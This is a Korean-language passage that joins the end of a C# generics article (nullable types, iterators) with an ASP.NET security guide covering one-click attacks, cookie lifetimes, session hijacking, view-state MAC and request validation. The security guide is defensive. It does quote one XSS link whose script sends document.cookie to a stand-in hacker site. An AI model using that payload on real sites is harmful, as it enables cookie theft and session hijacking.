• An Introduction to C# Generics 
  

Nullable 형식

Nullable 형식은 실제로 앞에서 나열된 내용과 다른 이유로 사용되는 generics입니다. 데이터베이스를 처리할 때 직면하는 한 가지 난제는NULL을 지원하는 열을 적절히 일관된 방식으로 처리하는 것입니다. 문자열 및 다른 클래스(참조 형식이라고 함)를 처리할 때는 다음과 같이nothing/null을 코드의 변수에 할당할 수 있습니다.

'Visual Basic .NETif dr("UserName") Is DBNull.Value Then   user.UserName = nothingEnd If//C#if (dr["UserName"] == DBNull.Value){   user.UserName = null;}

아니면 그냥 아무 작업도 수행하지 않을 수 있습니다(참조 형식은 기본적으로nothing/null임). 하지만integer,boolean,decimal등과 같은 값 형식에 대해서는 이 방식이 적용되지 않습니다.nothing/null을 이러한 값에 할당할 수는 있지만 이렇게 하면 기본값이 할당됩니다. 정수를 선언하거나 정수에nothing/null을 할당하는 경우 변수는 실제로 값0을 저장하게 됩니다. 이로 인해 데이터베이스에 다시 매핑하기가 어려워지는데 이는 값이0인지null인지 확인이 필요하기 때문입니다. nullable 형식은 값 형식에 실제 값이나 null을 저장할 수 있도록 하여 이 문제를 해결합니다. 예를 들어userId열에null값을 지원하려는 경우(현실적이지 않지만) 먼저 다음과 같이userId필드와 해당하는 속성을 nullable 형식으로 선언합니다.

'Visual Basic .NETPrivate _userId As Nullable(Of Integer)Public Property UserId() As Nullable(Of Integer)   Get      Return _userId   End Get   Set(ByVal value As Nullable(Of Integer))      _userId = value   End SetEnd Property//C#private Nullable<int> userId;public Nullable<int> UserId {   get { return userId; }   set { userId = value; }}

그런 다음 아래와 같이HasValue속성을 사용하여nothing/null의 할당 여부를 결정합니다.

'Visual Basic .NETIf UserId.HasValue Then   Return UserId.ValueElse   Return DBNull.ValueEnd If//C#if (UserId.HasValue) {   return UserId.Value;}else {   return DBNull.Value;}

참고 자료

• Nullable types in C# 
  
• Nullable types in VB.NET 
  

Iterator

지금껏 살펴본UserCollection예제는 사용자 지정 컬렉션에 필요할 수 있는 기본 기능만 나타내고 있습니다. 제공된 구현으로 수행할 수 없는 일 중 하나로foreach루프를 사용하여 컬렉션을 순환하는 기능을 들 수 있습니다. 이를 수행하려면 사용자 지정 컬렉션에IEnumerable인터페이스를 구현하는 열거자 지원 클래스가 있어야 합니다. 이는 매우 간단하고 반복적인 프로세스지만 훨씬 많은 코드가 필요합니다. C# 2.0에는 이러한 인터페이스의 구현 세부 사항을 자동으로 처리하는 새로운yield키워드가 도입되었습니다. 현재 Visual Basic .NET에는 새로운yield키워드와 동일한 항목이 없습니다.

침고 자료:

• What's new In C# 2.0 - Iterators 
  
• C# Iterators 
  

결론

사용자 지정 엔터티 및 컬렉션으로 전환하는 결정을 가볍게 내려서는 안 되며 수많은 요소들을 고려해야 합니다. 예를 들어 OO 개념에 대한 이해, 이 새로운 접근 방식을 활용하는 데 걸리는 시간은 물론 배포를 염두에 두고 있는 환경 등이 여기에 속합니다. 일반적으로는 이점이 상당하지만 특정 상황에 해당되지 않을 수도 있습니다. 또한 자신의 사례에 적합하더라도 단점으로 인해 효력을 발휘하지 못할 수 있습니다. 아울러 수많은 대안 솔루션이 있음을 염두에 둬야 합니다. Jimmy Nilsson은 직접 저술한 5부 시리즈인 Choosing Data Containers for .NET(1 

 

,

 

,

 

및

 

부)을 통해 이러한 몇 가지 대안을 간략히 설명하고 있습니다.

사용자 지정 엔터티는 개체 지향 프로그래밍의 풍부한 기능을 제공하는 것은 물론 견고하고 관리가 용이한 N 계층 아키텍처를 위한 토대를 설치하는 데 도움을 줍니다. 이 가이드의 목표 중 한 가지는 시스템을 일반적인DataSet및DataTable대신 이를 구성하고 있는 비즈니스 엔터티의 관점에서 생각하도록 만드는 것입니다. 또한 선택한 방법, 디자인 패턴, 개체 및 관계 영역 간의 차이(자세한 정보 

Dino Esposito
Wintellect

적용 대상
   Microsoft ASP.NET 1.x
   Microsoft ASP.NET 2.0

요약:가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.

목차

ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인
ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스

ASP.NET 개발자가 항상 수행해야 하는 작업

이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.

웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.

이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.

이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.

위협 요인

표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.

표 1. 일반적인 웹 공격

이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.

• 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
• 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
• 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.

흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.

• 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
• 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
• 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.

아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.

ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1부터 도입된ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은Page클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.

현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.

스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까?ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.

속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉,ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해한 번 클릭공격의 기본 사항을 간략하게 검토해 보겠습니다.

한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.

한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.

• 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
• 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
• 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
• 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.

앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).

그림 1. 한 번 클릭 공격

왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.

Page_Load이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.

한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?

물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다.EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이ViewStateUserKey입니다.

속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?

ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.

다음은 모든 페이지에 있어야 하는 코드입니다.

void Page_Init (object sender, EventArgs e)

{ ViewStateUserKey = Session.SessionID; : }

이 코드를 계속 다시 쓰지 않도록 하려면Page파생 클래스의OnInit가상 메서드에 이를 포함시킵니다.Page.Init이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e)

{ base.OnInit(e); ViewStateUserKey = Session.SessionID; }

저의 다른 기사인더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다.aspnetpro.com 

쿠키와 인증

쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.

쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.

쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.

너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.

void OnLogin(object sender, EventArgs e)

{ // 자격 증명 검사

if (ValidateUser(user, pswd))

{ // 쿠키 만료일 설정

HttpCookie cookie; cookie =

FormsAuthentication.GetAuthCookie(user, isPersistent);

if (isPersistent)

cookie.Expires = DateTime.Now.AddDays(10);

// 응답에 쿠키 추가 Response.Cookies.Add(cookie);

// 리디렉션 string targetUrl;

targetUrl =

FormsAuthentication.GetRedirectUrl(user, isPersistent);

Response.Redirect(targetUrl);

}

}

(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는

영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.

세션 가로채기

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은Theft On The Web: Prevent Session Hijacking 

이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.

• 시나리오 1.쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
• 시나리오 2.응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?

응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.

ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.

클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.

대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.

세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.

저의 Wintellect 동료인 Jeff Prosise가MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은여기서 확인할 수 있습니다.

EnableViewStateMac

뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.

그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기

MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.

기본적으로<machineKey>항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.

뷰 상태 MAC 확인은@Page지시문 특성인EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.

ValidateRequest

교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사Cross-site Scripting Overview 

XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?

동적으로 HTML 페이지를 생성하며 해당 페이지로 반향되는 입력의 유효성을 확인하지 않는 웹 응용 프로그램이 XSS의 공격 목표가 됩니다. 여기서 입력이란 쿼리 문자열, 쿠키 및 양식 필드의 내용을 의미합니다. 이러한 내용이 적절한 온전성 검사 없이 온라인 상태가 되면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다.앞에서 언급한 한 번 클릭 공격도 XSS의 최신 변종입니다. 일반적인 XSS 공격을 수행하려면 의심하지 않는 사용자가 이스케이프된 스크립트 코드를 포함하는 잘못된 링크를 클릭하여 이동해야 합니다. 그러면 악성 코드가 취약한 페이지로 전송되어 출력됩니다. 다음은 이러한 공격 결과의 예입니다.

<a href="http://www.vulnerableserver.com/brokenpage.aspx?

Name= <script>document.location.replace(

'http://www.hackersite.com/HackerPage.aspx? Cookie='

+ document.cookie); </script>">Click to claim your prize</a>

사용자가 외관상 안전해 보이는 링크를 클릭하면 해당 사용자의 컴퓨터에 있는 모든 쿠키를 유출해 해커 웹 사이트의 페이지로 전송하는 스크립트 코드가 취약한 페이지로 전달됩니다.

XSS는 공급업체만의 문제가 아니며, Internet Explorer의 허점만을 이용하는 것도 아닙니다. 현재 유통되고 있는 모든 웹 서버와 브라우저에 영향을 줄 수 있습니다. 또한 보다 심각한 것은 이를 수정하기 위한 단일 패치가 없다는 것입니다. 그럼에도 특수한 방법과 올바른 코딩 작업을 적용하면 XSS로부터 페이지를 보호할 수 있습니다. 또한, 사용자가 링크를 클릭하지 않아도 공격자는 공격을 시작할 수 있음을 주의해야 합니다.

XSS를 방지하려면 우선 올바른 입력을 확인하여 받아들이고 나머지는 모두 거부해야 합니다. XSS 공격을 방지하기 위한 상세한 검사 목록은 Microsoft의 필독 도서인Writing Secure Code(Michael Howard/David LeBlanc 공저)에 나와 있습니다. 특히 13장을 주의 깊게 읽어 보십시오.

잠행성 XSS 공격을 차단하는 주된 방법은 입력 데이터 형식에 관계없이 입력에 견고하고 뛰어난 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 이 추가 과정을 거치지 않으면 일반적으로는 무해한 RGB 색이 제어되지 않은 스크립트를 페이지로 직접 가져올 수 있는상황 

ASP.NET 1.1에서는@Page지시문의ValidateRequest특성이 설정되어 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에서 위험할 수 있는 HTML 태그를 전송하지 않는지 확인합니다. 이와 같은 전송이 감지되면 예외가 발생하고 해당 요청은 중단됩니다. 이 특성은 기본적으로 설정되어 있으므로 보호를 위해 따로 작업을 수행할 필요가 없습니다. HTML 태그를 전달하도록 허용하려면 이 특성을 해제해야 합니다.

<%@ Page ValidateRequest="false" %>

그러나ValidateRequest는 완벽한 방어 기능이 아니며 효과적인 유효성 검사 계층을 대체할 수도 없습니다.여기 

참고   ValidateRequest기능에는 원래결함이 있습니다 

. 이 기능이 예상대로 작동하도록 하려면패치 

를 적용해야 합니다. 이는 유용한 정보이지만 간과되는 경우가 많았습니다. 저도 지금에야 제 컴퓨터 중 한 대에 아직 이 결함이 있다는 것을 알았습니다. 당장 점검해 보십시오.

ValidateRequest는 설정된 상태로 유지하면 됩니다. 해제해도 되지만 합당한 이유가 있어야 합니다. 보다 나은 서식 지정 옵션을 사용하기 위해 사용자가 사이트에 HTML을 게시할 수 있어야 하는 경우를 한 예로 들 수 있습니다. 이 경우에도 허용되는 HTML 태그(<pre>,<b>,<i>,<p>,<br>,<hr>) 수를 제한하고 그 외에 다른 태그는 허용되거나 수락되지 않도록 하는 정규식을 작성해야 합니다.

다음은 XSS로부터 ASP.NET 응용 프로그램을 보호하는 데 도움이 되는 몇 가지 팁입니다.

• HttpUtility.HtmlEncode를 사용하여 보안상 위험한 기호를 해당 HTML 표현으로 변환합니다.
• HTML 인코딩에서는 큰따옴표만 이스케이프되므로 작은따옴표 대신 큰따옴표를 사용합니다.
• 코드 페이지에서 사용할 수 있는 문자 수를 제한하도록 합니다.

요약하자면,ValidateRequest특성을 사용하되 완전히 믿지는 말고 항상 확인하십시오. 시간을 할애하여 XSS와 같은 보안 위협을 근본적으로 이해하고, 모든 사용자 입력을 의심하는 습관을 들여 한 가지 핵심 사항을 중심으로 하는 방어 전략을 계획하십시오.

데이터베이스 관점

